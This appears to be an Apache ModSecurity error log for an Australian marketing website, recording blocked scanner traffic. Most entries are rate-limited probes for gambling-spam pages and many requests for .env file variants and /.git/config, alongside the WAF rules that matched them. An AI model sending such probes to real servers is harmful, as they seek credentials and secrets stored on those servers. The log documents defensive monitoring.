[Tue Apr 07 12:33:22.675125 2026] [:error] [pid 37597:tid 37635] [client 145.239.65.226:35748] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adSJEg6uAY0QAy-8EEIUNQAAAEE"]
[Tue Apr 07 12:33:24.992409 2026] [:error] [pid 37597:tid 37639] [client 145.239.65.226:35754] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adSJFA6uAY0QAy-8EEIUPwAAAEU"]
[Tue Apr 07 12:33:27.469680 2026] [:error] [pid 59551:tid 59560] [client 145.239.65.226:35764] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adSJF17LN7Ubyqs-sVtK4wAAAYc"]
[Tue Apr 07 12:33:29.926051 2026] [:error] [pid 37596:tid 37629] [client 145.239.65.226:35776] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adSJGapaAOZHEjRWjP1jQQAAABc"]
[Tue Apr 07 12:33:32.405190 2026] [:error] [pid 37719:tid 37734] [client 145.239.65.226:35826] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adSJHE09Xv52u2xXGLAZdQAAAMw"]
[Tue Apr 07 12:33:34.721032 2026] [:error] [pid 12948:tid 12957] [client 145.239.65.226:35828] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adSJHsbeSPAN8LvMqsZNtgAAAQY"]
[Tue Apr 07 12:33:37.024399 2026] [:error] [pid 59551:tid 59563] [client 145.239.65.226:35834] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adSJIV7LN7Ubyqs-sVtK7wAAAYo"]
[Tue Apr 07 12:44:32.301894 2026] [:error] [pid 12948:tid 12955] [client 51.91.242.106:54842] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adSLsMbeSPAN8LvMqsZQFAAAAQQ"]
[Tue Apr 07 12:44:34.762985 2026] [:error] [pid 37597:tid 37655] [client 51.91.242.106:58188] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adSLsg6uAY0QAy-8EEId5QAAAFU"]
[Tue Apr 07 12:44:37.119537 2026] [:error] [pid 59660:tid 59683] [client 51.91.242.106:58190] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adSLtTp3-oiX2o5bTszEbAAAAdU"]
[Tue Apr 07 12:44:39.428836 2026] [:error] [pid 37597:tid 37652] [client 51.91.242.106:43392] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adSLtw6uAY0QAy-8EEIeBAAAAFI"]
[Tue Apr 07 12:44:41.965357 2026] [:error] [pid 12948:tid 12960] [client 51.91.242.106:43406] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adSLucbeSPAN8LvMqsZQGAAAAQk"]
[Tue Apr 07 12:44:44.459174 2026] [:error] [pid 37597:tid 37653] [client 51.91.242.106:43422] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adSLvA6uAY0QAy-8EEIeKQAAAFM"]
[Tue Apr 07 12:44:46.772750 2026] [:error] [pid 37597:tid 37654] [client 51.91.242.106:43432] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adSLvg6uAY0QAy-8EEIeQgAAAFQ"]
[Tue Apr 07 12:44:49.238092 2026] [:error] [pid 59551:tid 59572] [client 51.91.242.106:57806] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adSLwV7LN7Ubyqs-sVtPNwAAAZM"]
[Tue Apr 07 12:44:51.718961 2026] [:error] [pid 37719:tid 37743] [client 51.91.242.106:57816] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adSLw009Xv52u2xXGLAfjgAAANU"]
[Tue Apr 07 12:44:54.182289 2026] [:error] [pid 37719:tid 37738] [client 51.91.242.106:57818] [client 51.91.242.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adSLxk09Xv52u2xXGLAfkwAAANA"]
[Tue Apr 07 13:21:04.862394 2026] [:error] [pid 37598:tid 37665] [client 103.111.230.153:49830] [client 103.111.230.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.111.230.153, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adSUQO9g7q_cV2WhPaxElAAAAIQ"]
[Tue Apr 07 16:50:43.346539 2026] [:error] [pid 59804:tid 59807] [client 49.51.204.74:56370] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adTFY3YVIXiPh5_eJTlWvgAAAgE"]
[Tue Apr 07 17:31:44.405947 2026] [:error] [pid 59551:tid 59557] [client 159.89.55.133:47034] [client 159.89.55.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "adTPAF7LN7Ubyqs-sVu1QwAAAYQ"]
[Tue Apr 07 17:36:40.591380 2026] [:error] [pid 59660:tid 59666] [client 101.33.80.42:52814] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adTQKDp3-oiX2o5bTszt6QAAAcQ"]
[Tue Apr 07 17:37:42.745394 2026] [:error] [pid 37719:tid 37724] [client 3.34.2.126:45742] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "adTQZk09Xv52u2xXGLCr6AAAAMI"]
[Tue Apr 07 17:37:43.357072 2026] [:error] [pid 37597:tid 37642] [client 3.34.2.126:46814] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "adTQZw6uAY0QAy-8EELjwQAAAEg"]
[Tue Apr 07 17:37:43.991199 2026] [:error] [pid 37597:tid 37645] [client 3.34.2.126:46842] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "adTQZw6uAY0QAy-8EELjzQAAAEs"]
[Tue Apr 07 17:37:44.621823 2026] [:error] [pid 37719:tid 37739] [client 3.34.2.126:46862] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "adTQaE09Xv52u2xXGLCr6wAAANE"]
[Tue Apr 07 17:37:45.243129 2026] [:error] [pid 59660:tid 59670] [client 3.34.2.126:46870] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "adTQaTp3-oiX2o5bTszuBgAAAcg"]
[Tue Apr 07 17:37:45.846987 2026] [:error] [pid 12948:tid 12952] [client 3.34.2.126:46898] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "adTQacbeSPAN8LvMqsaE6QAAAQE"]
[Tue Apr 07 17:37:46.475403 2026] [:error] [pid 37597:tid 37651] [client 3.34.2.126:46914] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "adTQag6uAY0QAy-8EELj4AAAAFE"]
[Tue Apr 07 17:37:47.088076 2026] [:error] [pid 37597:tid 37647] [client 3.34.2.126:46930] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "adTQaw6uAY0QAy-8EELj4wAAAE0"]
[Tue Apr 07 17:37:47.697924 2026] [:error] [pid 37597:tid 37646] [client 3.34.2.126:46944] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "adTQaw6uAY0QAy-8EELj6QAAAEw"]
[Tue Apr 07 17:37:48.328147 2026] [:error] [pid 37719:tid 37725] [client 3.34.2.126:46972] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "adTQbE09Xv52u2xXGLCr8QAAAMM"]
[Tue Apr 07 17:37:48.959009 2026] [:error] [pid 37597:tid 37644] [client 3.34.2.126:46996] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "adTQbA6uAY0QAy-8EELj9wAAAEo"]
[Tue Apr 07 17:37:49.586812 2026] [:error] [pid 37597:tid 37636] [client 3.34.2.126:47010] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "adTQbQ6uAY0QAy-8EELj-wAAAEI"]
[Tue Apr 07 17:37:50.224893 2026] [:error] [pid 12948:tid 12951] [client 3.34.2.126:47026] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "adTQbsbeSPAN8LvMqsaE6wAAAQA"]
[Tue Apr 07 17:37:50.843813 2026] [:error] [pid 59660:tid 59677] [client 3.34.2.126:47036] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "adTQbjp3-oiX2o5bTszuCQAAAc8"]
[Tue Apr 07 17:37:51.463282 2026] [:error] [pid 59804:tid 59809] [client 3.34.2.126:47052] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "adTQb3YVIXiPh5_eJTlkfAAAAgM"]
[Tue Apr 07 17:37:52.074284 2026] [:error] [pid 37598:tid 37669] [client 3.34.2.126:47060] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.stage"] [unique_id "adTQcO9g7q_cV2WhPayBqAAAAIg"]
[Tue Apr 07 17:37:52.704316 2026] [:error] [pid 37597:tid 37649] [client 3.34.2.126:51300] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci"] [unique_id "adTQcA6uAY0QAy-8EELkCgAAAE8"]
[Tue Apr 07 17:37:53.319634 2026] [:error] [pid 37597:tid 37642] [client 3.34.2.126:51308] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "adTQcQ6uAY0QAy-8EELkDgAAAEg"]
[Tue Apr 07 17:37:53.932491 2026] [:error] [pid 59660:tid 59662] [client 3.34.2.126:51336] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "adTQcTp3-oiX2o5bTszuDgAAAcA"]
[Tue Apr 07 17:37:54.548770 2026] [:error] [pid 37719:tid 37735] [client 3.34.2.126:51356] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.preprod"] [unique_id "adTQck09Xv52u2xXGLCr_wAAAM0"]
[Tue Apr 07 17:37:55.166545 2026] [:error] [pid 37597:tid 37636] [client 3.34.2.126:51382] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat"] [unique_id "adTQcw6uAY0QAy-8EELkGQAAAEI"]
[Tue Apr 07 17:37:55.780811 2026] [:error] [pid 59551:tid 59576] [client 3.34.2.126:51392] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "adTQc17LN7Ubyqs-sVu3bgAAAZc"]
[Tue Apr 07 17:37:56.386926 2026] [:error] [pid 59660:tid 59674] [client 3.34.2.126:51412] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "adTQdDp3-oiX2o5bTszuEAAAAcw"]
[Tue Apr 07 17:37:56.995146 2026] [:error] [pid 59804:tid 59818] [client 3.34.2.126:51426] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env~"] [unique_id "adTQdHYVIXiPh5_eJTlkggAAAgw"]
[Tue Apr 07 17:37:57.601111 2026] [:error] [pid 37719:tid 37742] [client 3.34.2.126:51456] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "adTQdU09Xv52u2xXGLCsAQAAANQ"]
[Tue Apr 07 17:37:58.221872 2026] [:error] [pid 37598:tid 37667] [client 3.34.2.126:51472] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "adTQdu9g7q_cV2WhPayBtQAAAIY"]
[Tue Apr 07 17:37:58.839360 2026] [:error] [pid 37719:tid 37722] [client 3.34.2.126:51492] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "adTQdk09Xv52u2xXGLCsCAAAAMA"]
[Tue Apr 07 17:37:59.447981 2026] [:error] [pid 59804:tid 59819] [client 3.34.2.126:51510] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "adTQd3YVIXiPh5_eJTlkiQAAAg0"]
[Tue Apr 07 17:38:00.061045 2026] [:error] [pid 59551:tid 59557] [client 3.34.2.126:51520] [client 3.34.2.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/site/.env"] [unique_id "adTQeF7LN7Ubyqs-sVu3fgAAAYQ"]
[Tue Apr 07 20:42:55.395749 2026] [:error] [pid 59551:tid 59567] [client 35.178.182.193:49306] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "adT7z17LN7Ubyqs-sVsMqAAAAY4"]
[Tue Apr 07 20:42:56.374437 2026] [:error] [pid 59551:tid 59558] [client 35.178.182.193:49316] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "adT70F7LN7Ubyqs-sVsMrQAAAYU"]
[Tue Apr 07 20:42:57.346218 2026] [:error] [pid 37597:tid 37653] [client 35.178.182.193:49338] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "adT70Q6uAY0QAy-8EEJ_TAAAAFM"]
[Tue Apr 07 20:42:59.901209 2026] [:error] [pid 37596:tid 37617] [client 35.178.182.193:49356] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "adT706paAOZHEjRWjP2eKAAAAAs"]
[Tue Apr 07 20:43:00.880370 2026] [:error] [pid 37719:tid 37738] [client 35.178.182.193:49384] [client 35.178.182.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "adT71E09Xv52u2xXGLAgAwAAANA"]
